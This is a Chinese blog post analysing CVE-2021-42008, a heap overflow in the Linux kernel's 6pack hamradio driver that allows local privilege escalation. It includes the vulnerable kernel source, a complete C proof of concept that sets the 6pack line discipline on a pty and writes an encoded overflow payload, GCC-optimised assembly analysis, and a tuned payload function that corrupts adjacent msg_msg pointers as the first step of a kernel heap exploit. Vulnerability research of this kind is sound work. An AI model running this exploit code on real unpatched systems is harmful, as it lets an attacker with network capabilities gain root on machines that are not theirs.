[漏洞分析] CVE-2021-42008 6pack协议堆溢出内核提权

已于 2022-10-21 15:20:48 修改
阅读量1.1w 收藏 2
点赞数 1
分类专栏： 漏洞分析 二进制 # linux kernel 文章标签： linux kernel 漏洞利用 网络安全 内核安全 CVE-2021-42008
于 2022-09-02 18:04:33 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/breeze_cat/article/details/126668312
版权
二进制 同时被 3 个专栏收录
56 篇文章 18 订阅
订阅专栏
linux kernel
27 篇文章 5 订阅
订阅专栏
漏洞分析
17 篇文章 11 订阅
订阅专栏
本文详细介绍了Linux内核6pack协议中的CVE-2021-42008漏洞，包括漏洞环境搭建、原理、发生点、PoC及GCC优化后的利用分析。该漏洞允许具有cap_net_raw和cap_net_admin权限的攻击者实现本地提权。通过精心构造的PoC，可以触发堆溢出并利用‘胜利方程式’进行进一步的漏洞利用。
摘要由CSDN通过智能技术生成

CVE-2021-42008 6pack协议

文章目录

漏洞简介

漏洞编号: CVE-2021-42008

漏洞产品: linux kernel - 6pack

影响版本: linux kernel 2 ~ linux kernel 5.13.12

漏洞危害: 在拥有cap_net_raw,cap_net_admin cap权限的情况下可以本地提权

源码获取：git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

环境搭建

编译ubuntu deb方法即可，参考：https://blog.csdn.net/Breeze_CAT/article/details/123787636?spm=1001.2014.3001.5502

需要配置的编译选项：

CONFIG_6PACK=y 
CONFIG_AX25=y
CONFIG_E1000=y
CONFIG_E1000E=y

init脚本，需要配置网卡ip，需要cap 权限的话，建议root 调试：

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
# kcov
mount -t debugfs none /sys/kernel/debug
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

chmod 777 /dev/ptmx

ifconfig lo 127.0.0.1
route add -net 127.0.0.0 netmask 255.255.255.0 lo
ifconfig eth0 192.168.21.0
route add -net 192.168.21.0 netmask 255.255.255.0 eth0
setsid /bin/cttyhack setuidgid 0 /bin/sh #root 调试无需配置cap，导入deb包啥的

echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

漏洞原理

关于6pack 的初始化和相关代码 bsauce 大佬分析的很明白了，这里不详细分析了，移步：https://bsauce.github.io/2021/12/09/CVE-2021-42008/

漏洞发生点

直接说几个重点，先看越界写处：

linux\drivers\net\hamradio\6pack.c : decode_data

static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
	unsigned char *buf;

	if (sp->rx_count != 3) {//先将三个字节存放在sp->raw_buf 中
		sp->raw_buf[sp->rx_count++] = inbyte;

		return;
	}

	buf = sp->raw_buf;//然后对这三个字节进行解码处理，存放在sp->cooked_buf 中
	sp->cooked_buf[sp->rx_count_cooked++] =
		buf[0] | ((buf[1] << 2) & 0xc0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[2] & 0x03) | (inbyte << 2);
	sp->rx_count = 0;//sp->raw_buf 计数器清零
}

decode_data函数会在sixpack_decode 中调用，只要用户传入的解码字符串还没有解码完毕，就会循环调用：

linux\drivers\net\hamradio\6pack.c : sixpack_decode

static void
sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count)
{
	unsigned char inbyte;
	int count1;

	for (count1 = 0; count1 < count; count1++) {
		inbyte = pre_rbuff[count1];
		if (inbyte == SIXP_FOUND_TNC) {
			tnc_set_sync_state(sp, TNC_IN_SYNC);
			del_timer(&sp->resync_t);
		}
		if ((inbyte & SIXP_PRIO_CMD_MASK) != 0)
			decode_prio_command(sp, inbyte);
		else if ((inbyte & SIXP_STD_CMD_MASK) != 0)
			decode_std_command(sp, inbyte);
		else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)
			decode_data(sp, inbyte);
	}
}

在这两个函数之中并没有任何对sp->cooked_buf 的边界检查，也就是说如果用户传入的足够长，就会造成缓冲区溢出。查看被溢出结构体struct sixpack：

struct sixpack {
	/* Various fields. */
	struct tty_struct	*tty;		/* ptr to TTY structure	*/
	struct net_device	*dev;		/* easy for intr handling  */

	/* These are pointers to the malloc()ed frame buffers. */
	unsigned char		*rbuff;		/* receiver buffer	*/
	int			rcount;         /* received chars counter  */
	unsigned char		*xbuff;		/* transmitter buffer	*/
	unsigned char		*xhead;         /* next byte to XMIT */
	int			xleft;          /* bytes left in XMIT queue  */

	unsigned char		raw_buf[4]; //三个字节暂存区域
	unsigned char		cooked_buf[400];//被溢出缓冲区

	unsigned int		rx_count; //暂存区raw_buf 下标
	unsigned int		rx_count_cooked;//cooked_buf 下标

	··· ···
};

根据结构体我们发现，缓冲区的下标就在缓冲区之后，如果溢出就要考虑修改了下标的问题，我们一会讨论。先看一下这个结构体的堆分配大小，在sixpack_open -> alloc_netdev_mqs 中分配：

linux\drivers\net\hamradio\6pack.c : sixpack_open

static int sixpack_open(struct tty_struct *tty)
{
	··· ···

	dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN,
			   sp_setup);
    ··· ···
}

linux\net\core\dev.c : alloc_netdev_mqs

struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
		unsigned char name_assign_type,
		void (*setup)(struct net_device *),
		unsigned int txqs, unsigned int rxqs)
{
    ··· ···
	alloc_size = sizeof(struct net_device);
	if (sizeof_priv) {
		/* ensure 32-byte alignment of private area */
		alloc_size = ALIGN(alloc_size, NETDEV_ALIGN);
		alloc_size += sizeof_priv;
	}
	/* ensure 32-byte alignment of whole construct */
	alloc_size += NETDEV_ALIGN - 1;

	p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL);
	if (!p)
		return NULL;
    ··· ···
}

根据如上代码可以看出，实际结构体所在堆是分配了net_device 结构体和 sixpack 结构体，sixpack属于net_device 的私有数据，总大小是sizeof(struct net_device)+sizeof(struct sixpack) 属于kmalloc-4k，也就是1页大小，kmalloc-4k的溢出也是很常见了。

poc

直接使用如下poc 可以触发越界写：

#include<stdio.h>
#include <sys/ioctl.h>
#define N_6PACK 7

char buff[4096]  = {0};
char *payload;
int writeLen;

int open_ptmx(void)
{
    int ptmx;
    ptmx = getpt();

    if (ptmx < 0)
    {
        perror("[X] open_ptmx()");
        exit(1);
    }

    grantpt(ptmx);
    unlockpt(ptmx);

    return ptmx;
}

int open_pts(int fd)
{
    int pts;
    pts = open(ptsname(fd), 0, 0);

    if (pts < 0)
    {
        perror("[X] open_pts()");
        exit(1);
    }

    return pts;
}

void set_line_discipline(int fd, int ldisc)
{
    if (ioctl(fd, TIOCSETD, &ldisc) < 0)
    {
        perror("[X] ioctl() TIOCSETD");
        exit(1);
    }
}

int init_sixpack()
{
    int ptmx, pts;

    ptmx = open_ptmx();
    pts = open_pts(ptmx);

    set_line_discipline(pts, N_6PACK);

    return ptmx;
}

char *sixpack_encode(char *src, int plen)
{
    char *dest = (char *)calloc(1, 0x3000);
    int raw_count = 2;

    for (int count = 0; count <= plen; count++)
    {
        if ((count % 3) == 0)
        {
            dest[raw_count++] = (src[count] & 0x3f);
            dest[raw_count] = ((src[count] >> 2) & 0x30);
        }
        else if ((count % 3) == 1)
        {
            dest[raw_count++] |= (src[count] & 0x0f);
            dest[raw_count] =	((src[count] >> 2) & 0x3c);
        }
        else
        {
            dest[raw_count++] |= (src[count] & 0x03);
            dest[raw_count++] = (src[count] >> 2);
        }
    }
    writeLen=raw_count;
    return dest;
}

char *generate_payload(size_t target)
{
    char *encoded;
    memset(buff, 0x41, 4096);

    if (target)
    {
        for (int i = 0; i < sizeof(size_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
    }

    encoded = sixpack_encode(buff, 4096);

    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88;
    encoded[1] = 0x98;

    return encoded;
}

void main()
{
    int ptmx = init_sixpack();
    payload = generate_payload(0);
    write(ptmx, payload, writeLen);
}

GCC优化

根据上面溢出部分代码分析，可以得知，每次调用三次将缓存raw_buf 填满之后，会写入cooked_buf。一次写入三个字节，我们会发现一个问题，由于控制向cooked_buf 中写入位置的下标rx_count_cooked 是在cooked_buf 的后面，一旦溢出覆盖到rx_count_cooked 之后，下次就可以跳到我们修改的下标位置开始写，这个特点有好有坏，好处是我们可以控制溢出位置，坏处要先看一段GCC优化之后的汇编(copy from bsauce博客)：

static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
    unsigned char *buf;

        [...]

    buf = sp->raw_buf;
    sp->cooked_buf[sp->rx_count_cooked++] =
        buf[0] | ((buf[1] << 2) & 0xc0);
    sp->cooked_buf[sp->rx_count_cooked++] =
        (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
    sp->cooked_buf[sp->rx_count_cooked++] =
        (buf[2] & 0x03) | (inbyte << 2);
    sp->rx_count = 0;
}

decode_data + 00:        nop    DWORD PTR [rax+rax*1+0x0]
decode_data + 05:        movzx  r8d,BYTE PTR [rdi+0x35]     // r8d = sp->raw_buf[1]
decode_data + 10: [1]    mov    eax,DWORD PTR [rdi+0x1cc]   // eax = sp->rx_count_cooked
decode_data + 16:        shl    esi,0x2
decode_data + 19:        lea    edx,[r8*4+0x0]
decode_data + 27: [2]    mov    rcx,rax                     // rcx = sp->rx_count_cooked
decode_data + 30:        lea    r9d,[rax+0x1]               // r9d = sp->rx_count_cooked + 1
decode_data + 34:        and    r8d,0xf
decode_data + 38:        and    edx,0xffffffc0
decode_data + 41:        or     dl,BYTE PTR [rdi+0x34]      // dl or sp->raw_buf[0]
decode_data + 44: [3]    mov    BYTE PTR [rdi+rax*1+0x38],dl // Write 1st decoded byte in sp->cooked_buf
decode_data + 48:        movzx  edx,BYTE PTR [rdi+0x36]     // eax = sp->raw_buf[2]
decode_data + 52:        lea    eax,[rdx*4+0x0]
decode_data + 59:        and    edx,0x3
decode_data + 62:        and    eax,0xfffffff0
decode_data + 65:        or     esi,edx
decode_data + 67:        or     eax,r8d
decode_data + 70: [4]    mov    BYTE PTR [rdi+r9*1+0x38],al // Write 2nd decoded byte in sp->cooked_buf
decode_data + 75:        lea    eax,[rcx+0x3]               // eax = sp->rx_count_cooked + 3
decode_data + 78: [5]    mov    DWORD PTR [rdi+0x1cc],eax   // sp->rx_count_cooked = sp->rx_count_cooked + 3
decode_data + 84:        lea    eax,[rcx+0x2]               // eax = sp->rx_count_cooked + 2
decode_data + 87: [6]    mov    BYTE PTR [rdi+rax*1+0x38],sil // Write 3rd decoded byte in sp->cooked_buf
decode_data + 92:        mov    DWORD PTR [rdi+0x1c8],0x0   // sp->rx_count = 0
decode_data + 102:       ret

大概意思就是，正常的流程应该是：

  1. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  2. sp->rx_count_cooked 加一
  3. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  4. sp->rx_count_cooked 加一
  5. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  6. sp->rx_count_cooked 加一

一旦sp->rx_count_cooked 被溢出覆盖案例说下面的写将直接被我们控制。但实际上GCC优化之后，变成了

  1. tmp = sp->rx_count_cooked
  2. 向sp->cooked_buf[tmp] 写入一个字节
  3. 向sp->cooked_buf[tmp+1] 写入一个字节
  4. sp->rx_count_cooked=tmp+3
  5. 向sp->cooked_buf[tmp+2] 写入一个字节

也就是说，如果我们在溢出的前两个字节修改了sp->rx_count_cooked 的话算是无效修改，因为在拷贝完前两个字节之后，会将sp->rx_count_cooked 重置为它+3 的值，我们只能在第三个字节修改到sp->rx_count_cooked 才可以的一个字节，而由于sp->rx_count_cooked 和cooked_buf 的偏移是固定的，第一次第三个字节只能修改到sp->rx_count_cooked 的最低位。最低位修改对我们帮助并不大，就算改到最大0xff，总sp->rx_count_cooked 也就是0x1ff，甚至跳不出sixpack 结构体。

所以理想状态就是可以让第三个字节正好覆盖sp->rx_count_cooked 的第二字节或更高，这样可以越界跳的更远一些，跳出sixpack 结构体避免崩溃。这就需要我们先将sp->rx_count_cooked 改的小一些，然后回到之前重新修改让第三位可以正好覆盖到sp->rx_count_cooked 的高位：

请添加图片描述

第一次覆盖到sp->rx_count_cooked为红色，第二次为蓝色。

漏洞利用

这里采用"堆溢出漏洞的胜利方程式"的利用方法，不对原本方法进行分析。

计算越界偏移

根据胜利方程式的前提条件，我们假定将4k大小的msg_msg申请到sixpack 结构体的后面，想要溢出覆盖msg_msg->m_listr_next 低两字节为0x00。之前已经提到，可以通过覆盖sp->rx_count_cooked 来跳过sixpack 结构体进行后续溢出操作，但由于每次溢出都是3的倍数，我们指向该低两字节的msg_msg->m_list_next，那么就需要计算从何处开始写才能正好覆盖2字节，难点就是，根据上图我们第二次越界写(蓝色)覆盖sp->rx_count_cooked 的时候也是只能覆盖一位，那么低位就是固定的，所以我们必须以0x100为单位往后跳。当然这里我已经计算完毕，直接公布答案就行(ubuntu 内核下)：

uint8_t *generate_payload(uint64_t target)
{
    uint8_t *encoded;
    memset(buff, 0, PAGE_SIZE);

    buff[0x194] = 0x90;
    buff[0x19a] = 0x05;
    memset(&(buff[0x19b]), 0, 0xb4);
    if (target)
    {
        for (int i = 0; i < sizeof(uint64_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
    }

    //encoded = sixpack_encode(buff,0x19b+243+0x200-1+2);//orgkernel
    encoded = sixpack_encode(buff,0x19b+0xb4);
    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88;
    encoded[1] = 0x98;

    return encoded;
}

这样可以正好覆盖msg_msg->m_listr_next 低两字节为0x00。

直接胜利方程式

接下里的步骤就直接套胜利方程式即可，详见"内核堆漏洞的胜利方程式"。

参考

https://bsauce.github.io/2021/12/09/CVE-2021-42008/

breezeO_o
关注
专栏目录
vim/vim 堆缓冲区溢出漏洞（CVE-2022-1381）
murphysec的博客
04-18 3023
CVE-2022-1381 漏洞影响了 8.2.4763 版本之前的vim，vim中的skip_range方法，存在堆缓冲区溢出的问题，极可能导致软件崩溃、远程执行等缺陷。 作为一个广泛使用的文本编辑器，此问题的影响辐射很广，建议低于此版本的用户，尽快下载官方补丁，以避免此漏洞造成的影响。
分析|CVE-2021-3156-sudo堆溢出高危漏洞
zhangge3663的博客
01-29 613
编辑前言 Qualys的安全研究人员于1月13日发文称，攻击者无需知道用户密码即可成功利用此漏洞，在众多基于 Linux 的发行版本中获得最高的 root 权限。受影响的 Sudo 漏洞版本包括从 1.8.2 到 1.8.32p2 的经典版本，以及从 1.9.0 到 1.9.5p1 所有稳定版本。 调试方式 首先从github下载代码: https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz 编译 tar xf su
【漏洞分析】Foxit Reader BMP biWidth 堆溢出漏洞(CVE-2017-17557)
counsellor的专栏
08-30 844
0x00 前言 总体来说，坑不多，走下来很平坦。毕竟只是简单的整数溢出漏洞，没有太多知识点。 0x01 简介 Foxit Reader 在2018年5月18日的安全公告中提及修复了因恶意调用特定函数，导致程序可能遭受堆缓冲区溢出远程代码执行漏洞攻击的问题（CVE-2017-17557/ZDI-CAN-5472/ZDI-CAN-5895/ZDI-CAN-5473。 受影响版本为Foxit...
Android bluetooth介绍（二）： android 蓝牙代码架构及其uart 到rfcomm流程
热门推荐
CLK
08-12 4万+
关键词：蓝牙blueZ  UART  HCI_UART H4  HCI  L2CAP RFCOMM  版本：基于android4.2之前版本 bluez内核：linux/linux3.08系统：android/android4.1.3.4作者：xubin341719(欢迎转载，请注明作者，请尊重版权谢谢)欢迎指正错误，共同学习、共同进步！！一、Android Bluetooth Architect
linux 串口总线驱动,Linux下的串口总线驱动（三）
weixin_42470145的博客
05-07 381
五．线路规程内核代码底层的物理驱动程序和tty驱动程序负责从硬件上收发数据，而线路规程则负责处理这些数据，并在用户空间和内核空间知觉传递数据。打开串行端口时系统默认的线路规程是N_TTY，它实现终端I/O处理。线路规程也实现通过串行传输协议实现的网络接口，PPP(N_PPP)，SLIP(串行线路网际协议)(N_SLIP)，红外数据(N_IRDA)，蓝牙主机控制接口(N_HCI)。本文引用地址：ht...
20210130Mikrotik路由器SMB缓冲区溢出漏洞（CVE-2018-7445）复现
qq_45290991的博客
02-01 2511
终于考完了大学最后需要考试的三门课，结果突然间通知不能放假，并且还要封口，那我没办法，只好开始了毕设，老师让先复现几个路由器的漏洞，然后学学《家用路由器0day漏洞》。所以，我们开始吧，我参考了如下几篇博客，间接感谢大佬的智慧： 大纲资料：https://blog.csdn.net/qq_41453285/article/details/102154900 漏洞简述：https://www.coresecurity.com/core-labs/advisories/mikrotik-route...
所学漏洞总结
weixin_45540609的博客
08-31 924
一、CVE-2021-28474 MS SharePoint远程代码执行漏洞 1、漏洞简介 漏洞允许通过身份验证的用户在SharePoint web应用程序的服务账户中执行任意.NET代码。想要利用该漏洞，攻击者需要具备SharePoint站点的SPBasePermissions.ManageLists权限。默认情况下，经过身份验证的SharePoint用户可以创建网页页面，并拥有所需的所有权限。 2、漏洞成因 用于安全验证的代码和实际处理用户输入的代码之间不一致。 EditingPagePars
【kali】29 提权—— 利用漏洞提权
(∪.∪ )...zzz的博客
11-27 8034
这里写自定义目录标题一、使用 Ms011-080 获取 WinXP 的 SYSTEM 权限1. Ms011-080 对应补丁 Kb25927992. kali集成了exploit3. 查看.py4. 生成.exe5. 运行exe提权成功二、Win7 使用 Ms14-068 获取 域控制器的权限1.win2003搭建域控制器2. 修改win2003域控制器的用户权限三、利用 CVE-2012-0056 提升 linux 权限 一、使用 Ms011-080 获取 WinXP 的 SYSTEM 权限 1. Ms0
windows系统提权
liweh的博客
07-18 309
1、内核溢出提权windows系统获取补丁: systeminfo或wmic qfe提权辅助工具: Windows-Exploit-Suggester（现在因为漏洞库不再更新，所以已经基本弃用systeminfo在windows系统上可以显示系统的各种信息主机名: WIN-AJC75HUE5HCOS 名称: Microsoft Windows Server 2008 R2 Standard。
Linux提权全剧终
Ms08067安全实验室
03-11 1203
喜欢就关注我吧，订阅更多最新安全知识文章来源｜MS08067 内网安全知识星球本文作者：非正常接触（Ms08067内网安全小组成员）内网纵横四海 认准Ms08067这里介绍一些Linux...
【漏洞预警】Linux kernel权限提升漏洞（CVE-2024-1086）
最新发布
qq_18209847的博客
04-08 1万+
Linux内核版本v5.14 – v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞，由于在nft_verdict_init（）函数中，允许正值作为hook判决中的丢弃错误，因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时，nf_hook_slow（）函数可能会导致双重释放漏洞，本地低权限威胁者可利用该漏洞将权限提升为root。加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
[漏洞分析] CVE-2022-2766六 IPV6 ESP协议页溢出内核提权
Breeze的博客
04-02 1万+
CVE-2022-27666 IPV6 ESP协议页溢出内核提权 文章目录CVE-2022-27666 IPV6 ESP协议页溢出内核提权漏洞简介环境搭建虚拟机docker漏洞原理漏洞发生点调用栈漏洞利用参考 漏洞作者博客：https://etenal.me/archives/1825 写的非常详细，这里只是简单补充一下环境搭建和简单分析一下原理和利用等。 漏洞简介 漏洞编号: CVE-2022-27666 漏洞产品: linux kernel - esp6 影响版本: ~ linux kernel 5.
Windows Print Spooler远程代码执行漏洞复现（CVE-2021-1675）
yangbz123的博客
07-05 5161
目录漏洞概述漏洞复现一、PowerShell脚本实现本地提权二、Windows Print Spooler RCE域控MSF上线Cobalt Strike上线三、mimikatz武器化攻击漏洞防御参考链接 漏洞概述 Windows Print Spooler是Windows的打印机后台处理程序，广泛的应用于各种内网中，攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证，并在打印服务器中安装恶意的驱动程序。若攻击者所控制的用户在域中，则攻击者可以连接到DC中的Spooler服务，并利用该
关于内核堆溢出漏洞的分析
m0_59598029的博客
02-02 232
然后，以相同的方式重新构造伪次要消息，这次构造的m_ts字段要大于消息分片的阈值，next字段等于相邻次要消息所指向的主要消息的地址-结构msg_msgseg的长度，这样做相当于将该主要消息伪造成下一个消息片段，那么在读取伪次要消息时，就可以读取该主要消息的next指针，该指针指向相邻次要消息，将指针内容减去1024即可获得伪次要消息即关键缓冲区的地址。通过msgsnd给每个消息队列都发送一个4096字节的消息，暂且称这些消息为主要消息，每个消息的内容是其所在消息队列的序号，分别为0-4095。
CVE-2021-3156 sudo堆溢出 漏洞分析
weixin_50987385的博客
03-06 740
APP安全
堆溢出漏洞简介
这里没人
05-14 8466
简介 这次来介绍一下堆溢出漏洞。不过这次的堆溢出漏洞比较复杂，不像栈溢出一样容易理解。所以这一次的内容会比较多。我尽量详细的介绍堆溢出漏洞，以及相关的知识。 首先，关于神马是堆溢出。简而言之就是在堆上产生的溢出。一般我们使用malloc等函数申请的内存都会储存在堆段上。并且由操作系统来管理已经使用和剩余内存，完成内存分配以及回收等等的操作。而堆溢出便是因为程序员的粗心大意，造成了读入的数据超过...
linux系统利用可执行文件的Capabilities实现权限提升
whatday的专栏
10-25 2986
一、操作目的和应用场景 Capabilities机制是在Linux内核2.2之后引入的，原理很简单，就是将之前与超级用户root（UID=0）关联的特权细分为不同的功能组，Capabilites作为线程（Linux并不真正区分进程和线程）的属性存在，每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类，具有相似功能的内核调用被分到同一组中。 这样一来，权限检查的过程就变成了：在执行特权操作时，如果线程的有效身份不是root，就去检查其是否具有该特权操作所对应的capabilities，并以此为
CVE-2021-3156：Sudo 堆缓冲区溢出漏洞
墨痕诉清风的博客
01-28 3407
源码编译安装最新Sudo软件包，下载链接为： https://www.sudo.ws/dist/）都可以利用此漏洞，而无需进行身份验证，攻击者不需要知道用户的密码。成功利用此漏洞可以获得。解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户（普通用户和系统用户，1. 进入CVE-2021-3156-main目录下。使用make命令对当前目录下的文件进行编译。根据我们版本，我们选择0，尝试。，获取Root权限，提权成功。查看EXP支持的系统版本。
NTFS驱动存在堆溢出（CVE-2021-31956 ）分析
qq_41252520的博客
03-14 4232
CVE-2021-31956 0x00 漏洞简介 该漏洞发生在 Ntfs.sys文件中，由于该系统程序在处理文件额外信息查询时，对相关对象检查不严谨导致堆溢出，攻击者可以利用该漏洞进行本地权限提升。 0x01 影响版本 windows_10:-:*:*:*:*:*:*:* windows_10:20h2:*:*:*:*:*:*:* windows_10:21h1:*:*:*:*:*:*:* windows_10:1607:*:*:*:*:*:*:* windows_10:1809:*:*:*:*:*:*
Linux内核TIPC漏洞CVE-2021-432671：堆溢出利用分析
在本文中，我们将深入探讨针对CVE-2021-432671的Linux内核TIPC子系统中的堆溢出漏洞。CVE-2021-432671是一个在哨兵实验室公开的漏洞，涉及Linux内核中的TIPC（透明进程间通信服务），这是一种用于集群节点间数据传输...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值